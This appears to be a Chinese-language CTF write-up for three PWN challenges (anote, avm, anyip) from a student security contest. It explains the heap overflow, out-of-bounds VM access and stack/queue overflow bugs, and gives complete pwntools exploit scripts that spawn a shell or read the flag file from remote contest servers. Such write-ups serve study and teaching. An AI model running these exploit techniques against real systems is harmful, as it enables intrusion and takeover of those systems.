-
-
第十八届全国大学生信息安全大赛 && 第二届长城杯 PWN WP
-
发表于: 2天前 386
-
期末作业太多了,没什么时间详细写wp,可能闲下来之后会补充的详细一点。
吐槽一下,怎么各个方向的题目数量都和赛前发的表对不上,本来以为pwn压力不大,主动承担了做一大半理论题的任务,结果下午看到上了三个pwn感觉天都塌了。
本文原始版本发布于我的blog
anote
发现创建0x1c大小的堆块后,可以输入超过这个长度。并且每个堆块的开头有一个函数指针,在edit结束后会调用该函数指针。
因此可以创建两个堆块,将后门函数的地址system("/bin/sh")写在第一个堆块中,然后通过前一个的edit溢出写后一个的函数指针,直接改写成第一个堆块存储后门函数的地址。然后调用后一个堆块的edit,就可以执行后门函数,堆块布局如下。
堆地址由show时的gift直接给出,只需要稍加计算。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 | #!/usr/bin/env python3 from pwn import * import os exe = ELF( "./note_patched" ) context.binary = exe def conn(): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else : r = remote( "123.56.29.99" , 26768 ) return r def dbg(cmd = ""): if args.LOCAL: gdb.attach(r, cmd) pause() def choice(i): r.sendlineafter( ">>" , str (i)) def show(idx): choice( 2 ) r.sendlineafter( "index: " , str (idx)) def edit(idx, len , content): choice( 3 ) r.sendlineafter( "index: " , str (idx)) r.sendlineafter( "len: " , str ( len )) r.sendafter( "content:" , content) context.log_level = "DEBUG" def main(): global r r = conn() choice( 1 ) show( 0 ) r.recvuntil( "gift: " ) addr = int (r.recvline()[: - 1 ], 16 ) choice( 1 ) edit( 0 , 28 , p32( 0x80489CE ) + b "a" * ( 0x1C - 8 - 8 ) + p32( 0 ) + p32( 0x21 ) + p32(addr + 8 ) + b "\n" , ) edit( 1 , 1 , b "0\n" ) # good luck pwning :) r.interactive() if __name__ = = "__main__" : main() |
avm
主要漏洞在于store和load指令检查时只检查reg+BYTE2(v3),计算时计算的是reg+HIWORD(v3)&0xFFF,所以可以越界读写虚拟机的缓冲区s。于是可以通过load栈上残留获取libc地址,再经过计算构造rop链,通过store越界写到栈上返回地址处。
地址的计算通过加减和左移右移即可。
由于没有自增,而且本地和远程偏移不同,寄存器初始值都是0, 获取数字1比较困难。最后通过在opcode中自己加入一个1的方式获取,这样的偏移肯定是固定的。
而libc地址的偏移也很奇怪,我试了多个本地能通过的偏移,远程都不行。最后获取栈上最远处的__libc_start_main中的返回地址,终于打通了远程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 | #!/usr/bin/env python3 from pwn import * import os exe = ELF( "./pwn_patched" ) libc = ELF( "./libc.so.6" ) ld = ELF( "./ld-2.35.so" ) context.binary = exe def conn(): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else : r = remote( "47.94.1.14" , 28709 ) return r def dbg(cmd = ""): if args.LOCAL: gdb.attach(r, cmd) pause() def add(r1, r2, r3): # r1 = r2+r3 return p32(( 1 << 28 ) | (r3 << 16 ) | (r2 << 5 ) | r1) def sub(r1, r2, r3): # r1 = r2-r3 return p32(( 2 << 28 ) | (r3 << 16 ) | (r2 << 5 ) | r1) def mul(r1, r2, r3): # r1 = r2/r3 return p32(( 3 << 28 ) | (r3 << 16 ) | (r2 << 5 ) | r1) def div(r1, r2, r3): # r1 = r2*r3 return p32(( 4 << 28 ) | (r3 << 16 ) | (r2 << 5 ) | r1) def xor(r1, r2, r3): # r1 = r2^r3 return p32(( 5 << 28 ) | (r3 << 16 ) | (r2 << 5 ) | r1) def bitand(r1, r2, r3): # r1 = r2&r3 return p32(( 6 << 28 ) | (r3 << 16 ) | (r2 << 5 ) | r1) def bitand(r1, r2, r3): # r1 = r2/r3 return p32(( 6 << 28 ) | (r3 << 16 ) | (r2 << 5 ) | r1) def shr(r1, r2, r3): # r1 = r2>>r3 return p32(( 8 << 28 ) | (r3 << 16 ) | (r2 << 5 ) | r1) def shl(r1, r2, r3): # r1 = r2<<r3 return p32(( 7 << 28 ) | (r3 << 16 ) | (r2 << 5 ) | r1) def store(r1, r2, offset): # s[reg[r2]+offset]=reg[r1] assert offset < = 0xFFF return p32(( 9 << 28 ) | (offset << 16 ) | (r2 << 5 ) | r1) def load(r1, r2, offset): # reg[r1] = s[reg[r2]+offset] assert offset < = 0xFFF return p32(( 10 << 28 ) | (offset << 16 ) | (r2 << 5 ) | r1) def gen_num(r1, r2, num): opcode = b"" tmp = [] if num < 0 : num = - num tmp1 = num while num: if num & 1 : tmp.append( 1 ) else : tmp.append( 0 ) num = num >> 1 test = 0 tmp = tmp[:: - 1 ] for i in tmp[: - 1 ]: if i = = 1 : test + = 1 opcode + = add(r2, r2, r1) test = test * 2 opcode + = shl(r2, r2, r1) if tmp[ - 1 ] = = 1 : test + = 1 opcode + = add(r2, r2, r1) # assert test == num print (f "test: {hex(test)} num: {hex(tmp1)}" ) return opcode def invalid(): return p32(( 0xB << 28 )) def main(): global r r = conn() dbg( "b *$rebase(0x1aad)\n" ) pop_rdi = 0x000000000002A3E5 addr = 0x22EC7C addr = 0x29D90 offset_rdi = addr - pop_rdi str_bin_sh = next (libc.search(b "/bin/sh" )) offset_bin_sh = addr - str_bin_sh offset_system = addr - libc.sym[ "system" ] offset_puts = addr - libc.sym[ "puts" ] opcode = ( load( 1 , 0 , 0x100 ) + load( 2 , 0 , 0xD38 ) + load( 3 , 0 , 0x278 ) + gen_num( 3 , 4 , offset_rdi) + add( 5 , 2 , 4 ) + store( 5 , 0 , 0x118 ) + gen_num( 3 , 6 , offset_bin_sh) + add( 7 , 2 , 6 ) + store( 7 , 0 , 0x118 + 8 ) + gen_num( 3 , 8 , offset_system) + add( 9 , 2 , 8 ) + store( 9 , 0 , 0x118 + 3 * 8 ) + add( 31 , 5 , 3 ) + store( 31 , 0 , 0x118 + 2 * 8 ) + p32( 0 ) + p64( 1 ) ) print ( hex ( len (opcode))) # reg3 = 1 # gets = addr - 0x1b0b20 r.sendafter( "opcode: " , opcode) # good luck pwning :) r.interactive() if __name__ = = "__main__" : main() |
anyip
完全不会C++,逆向上遇到了很大的困难,结合正向写C++代码再逆向查看,对比题目中的逆向结果,最后十分钟终于连蒙带猜调通了。
这个题难度不大,估计解出这么少的主要原因还是上题时间太阴间了。
1 2 3 4 5 6 | def pack(func, para1, content): buf = b"" buf + = p16(func) buf + = b "\x00" + p8(para1) + b "\x00" * ( 4 ) + b "\x00\x00\x00\x00\x01\x07\x00\x00" buf + = content return buf |
前16位代表要调用的函数,取值为0x1111,0x2222,0x3333,0x4444,代表四个函数。
它后面的8位是函数的一个参数,是一个选项,。再后面的8位固定为b"\x??\x??\x??\x??\x01\x07\x??\x??"。如果其中的\x01和\x07不对会直接报错。
再后面的content为可变长度的字节流,也会作为部分函数的参数。
然后是func的逆向:
0x2222是一个栈:
注意到在pop时,对top并没有检查,也就是说在栈空之后可以继续pop实现溢出。而stack的前面有queue及其队头队尾,将栈pop到q_end的位置后再push入数字就可以覆盖q_end。
0x4444是一个队列:
q_end = (q_end+1) %10是入队之后才会进行的,也就是说q_end被覆盖后的第一次入队,偏移完全由刚刚越界push的数字决定。但由于只有一次,不能完整覆盖s。但是发现栈对top的唯一检查就是top- base != 0xa, 所以只要把base覆盖掉,栈就可以任意偏移写了。
下面有一个字符数组s,其中存的是log文件的名字,func 0x1111中有将log读出并发送的功能,所以如果通过栈的任意偏移写将log的名字覆盖成flag,再用func 0x1111中的功能就可以得到flag了。
但是想要使用这个功能,还要让v13="SomeIpfun".
逆向+尝试后发现v13是一个c++ string,其内容是逐字符拼接而来,而字符的来源与qword_9040中存的堆块有关。
逆向,发现使用func 0x3333中的功能可以修改qword_9040,并且发现它是类似树的结构(完全没看懂,只是看到一个堆块里存了一个字母和两个指针),使用func 0x3333的功能3可以设置新堆块,功能1可以增加字符,大致以树链表的形式,但是没有看懂具体逻辑。总之添加了一堆字符之后发现拼接出了乱序字符串。
于是想到一个办法,先按SomeIpfun的顺序输出,发现拼接出的字符串是uenoISpmf
一一对应:
S o m e I p f u n
u e n o I S p m f
以u来说,第八个输入的u会在第一个输出,而目标是让S第一个输出,所以只要把输入时的u改成S即可。以此类推,修改顺序为:
peuoIfnSm,得到的字符串就是SomeIpfun了。
有一个小插曲:c++的字符串不用\x00结尾,如果加了反而会让长度增加导致compare结果不相等。
总结以上利用,写出exp:
用栈的负向溢出覆盖q_end
用queue越界覆盖stack的base,让栈绕过边界检查
用stack越界覆盖s,将文件名改成flag
通过func0x3333和0x1111中的功能,构造字符串"SomeIpfun", 得到flag(在发回的报文中)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | #!/usr/bin/env python3 from pwn import * import os import socket exe = ELF( "./pwn_patched" ) context.binary = exe def conn(): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else : r = remote( "39.106.139.233" , 34835 ) return r def dbg(cmd = ""): if args.LOCAL: gdb.attach(r, cmd) pause() def pack(func, para1, content): buf = b"" buf + = p16(func) buf + = b "\x00" + p8(para1) + b "\x00" * ( 4 ) + b "\x00\x00\x00\x00\x01\x07\x00\x00" buf + = content return buf def push(num): p1 = pack( 0x2222 , 1 , str (num).encode()) return p1 def pop(): p1 = pack( 0x2222 , 2 , b"") return p1 def enqueue(num): p1 = pack( 0x4444 , 1 , str (num).encode()) return p1 def main(): global r # r = conn() # pause() s1 = socket.socket() # s1.connect(("127.0.0.1", 9999)) s1.connect(( "39.106.139.233" , 34835 )) for i in range ( 0x20 / / 4 - 3 ): s1.send(pop()) print (s1.recv( 0x10 )) s1.send(push(( 0xCC - 0x60 ) / / 4 )) print (s1.recv( 0x10 )) s1.send(enqueue( 0x40 )) print (s1.recv( 0x10 )) for i in range (( 0xC8 - 0x90 ) / / 4 ): s1.send(push( 0 )) print (s1.recv( 0x10 )) s1.send(push(( 0xE0 - 0xA0 ) / / 4 )) print (s1.recv( 0x10 )) s1.send(push( 0x67616C66 )) print (s1.recv( 0x10 )) s1.send(push( 0 )) print (s1.recv( 0x10 )) p1 = pack( 0x3333 , 3 , b "p" ) s1.send(p1) print (s1.recv( 0x10 )) p1 = pack( 0x3333 , 1 , b "e" ) s1.send(p1) print (s1.recv( 0x10 )) p1 = pack( 0x3333 , 1 , b "u" ) s1.send(p1) print (s1.recv( 0x10 )) p1 = pack( 0x3333 , 1 , b "o" ) s1.send(p1) print (s1.recv( 0x10 )) p1 = pack( 0x3333 , 1 , b "I" ) s1.send(p1) print (s1.recv( 0x10 )) p1 = pack( 0x3333 , 1 , b "f" ) s1.send(p1) print (s1.recv( 0x10 )) p1 = pack( 0x3333 , 1 , b "n" ) s1.send(p1) print (s1.recv( 0x10 )) p1 = pack( 0x3333 , 1 , b "S" ) s1.send(p1) print (s1.recv( 0x10 )) p1 = pack( 0x3333 , 1 , b "m" ) s1.send(p1) print (s1.recv( 0x10 )) p2 = pack( 0x1111 , 2 , b "a" * ( 0x4B - 9 ) + b "SomeIpfun" + b "b" * 0x100 ) s1.send(p2) print (s1.recv( 0x200 )) # good luck pwning :) # r.interactive() if __name__ = = "__main__" : main() |
得到flag:
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!